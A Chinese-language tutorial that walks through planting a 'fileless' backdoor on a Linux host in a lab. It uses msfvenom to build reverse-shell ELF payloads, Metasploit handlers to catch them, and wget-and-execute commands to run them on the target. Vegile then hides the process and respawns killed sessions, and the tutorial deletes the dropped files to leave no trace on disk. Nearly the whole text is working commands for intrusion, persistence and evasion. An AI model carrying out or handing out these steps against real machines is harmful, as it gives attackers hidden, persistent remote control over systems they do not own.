Linux 无文件木马程序
环境准备
- Kali Linux 2020.4
- CentOS 7.6
IP地址
- Kali Linux :192.168.37.139
- CentOS :192.168.37.133
一、生成恶意文件
生成恶意文件让目标系统执行来获取 shell
┌──(root💀fengzilin54)-[~]
└─# msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=192.168.37.139 LPORT=8080 -b "\x00" -f elf -o /var/www/html/fengzilin-backdoor
在生成一个隐藏执行的后门
┌──(root💀fengzilin54)-[~]
└─# msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=192.168.37.139 LPORT=4444 -b "\x00" -f elf -o /var/www/html/fengzilin-ghost
二、启动Apache服务
┌──(root💀fengzilin54)-[~]
└─# systemctl start apache2.service
┌──(root💀fengzilin54)-[~]
└─# systemctl enable apache2.service
┌──(root💀fengzilin54)-[~]
└─# systemctl is-enabled apache2
三、Vegile 使用
Vegile 官方下载链接 https://github.com/Screetsec/Vegile.git
Vegile 常用方法:
./Vegile --i 隐藏你的后门
./vegile --u 无限复制你的 metasploit 会话,即使被他 kill ,依然可以再次运行
使用注意事项
木马一定要放在Vegile 目录下
Vegile 一般用于维持 meterpreter 会话;
┌──(root💀fengzilin54)-[~]
└─# cd /var/www/html
┌──(root💀fengzilin54)-[/var/www/html]
└─# rz
四、获取Linux 系统的shell
MSF 配置监听
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x64/shell/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.37.139
msf6 exploit(multi/handler) > set LPORT 8080
msf6 exploit(multi/handler) > run -j //在后台运行 handler ,发现在冰没有session,因为客户端还有没有执行
回到 CentOS 操作系统下载执行文件来建立session,为了模拟实战效果隐藏行为通过该session进行操作
先下载工具
[root@localhost ~]# wget 192.168.37.139/fengzilin-backdoor
[root@localhost ~]# chmod +x fengzilin-backdoor
[root@localhost ~]# ./fengzilin-backdoor
使用 sessionID 连接 CentOS
msf6 exploit(multi/handler) > sessions -i 1
参数: -i <opt> Interact with the supplied session ID
查看网络连接状态
netstat -antup | grep 8080
可以看到我们的PID是 8390
ps -aux | grep 8390
查看IP地址
找不到命令怎么办
使用绝对路径就可以找到
五、创建无文件后门程序
配置监听 4444端口
新建终端窗口,MSF 控制台多个启动互不影响
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x64/shell/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.37.139
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run -j
我们回到前面建立的session 中下载用于隐藏进程的工具
wget 192.168.37.139/Vegile-master.zip
解压
注如:无unzip 命令 可使用 yum install -y unzip
安装即可
unzip Vegile-master.zip
//切换目录
cd Vegile-master
//添加执行权限
chmod +x Vegile
//下载用于隐藏执行的后门程序
wget 192.168.37.139/fengzilin-ghost
//添加执行权限
chmod +x fengzilin-ghost
//隐藏后门程序执行
./Vegile --i fengzilin-ghost
按任意键退出 Vegile ,不是session
我们回到另一个 MSF 控制台查看session
msf6 exploit(multi/handler) > sessions -i 1
目标端口为 36760
我们查看一下我们注入到了 那个进程
/usr/sbin/lsof -i:36760
同样是一个 sh 进程
我们删除我们下载的所有文件
rm -rf /root/Vegile-master
错误提示
ERROR: ld.so: object '/usr/local/lib/libprocesshider.so' from /etc/ld.so.preload cannot be preloaded: ignored.
解决办法
echo "" >/etc/ld.so.preload //64位系统没有这个文件导致报错
注:删除时,也会把 xuegod-ghost 这个后门程序删除了。虽然文件被删除了,但会话,还是建立着了。删除我们所有文件之后程序依旧正常执行。
其他命令
./Vegile --u 无限复制你的 metasploit 会话,即使他被 kill,依然可以再次运行
./Vegile --i fengzilin-ghos t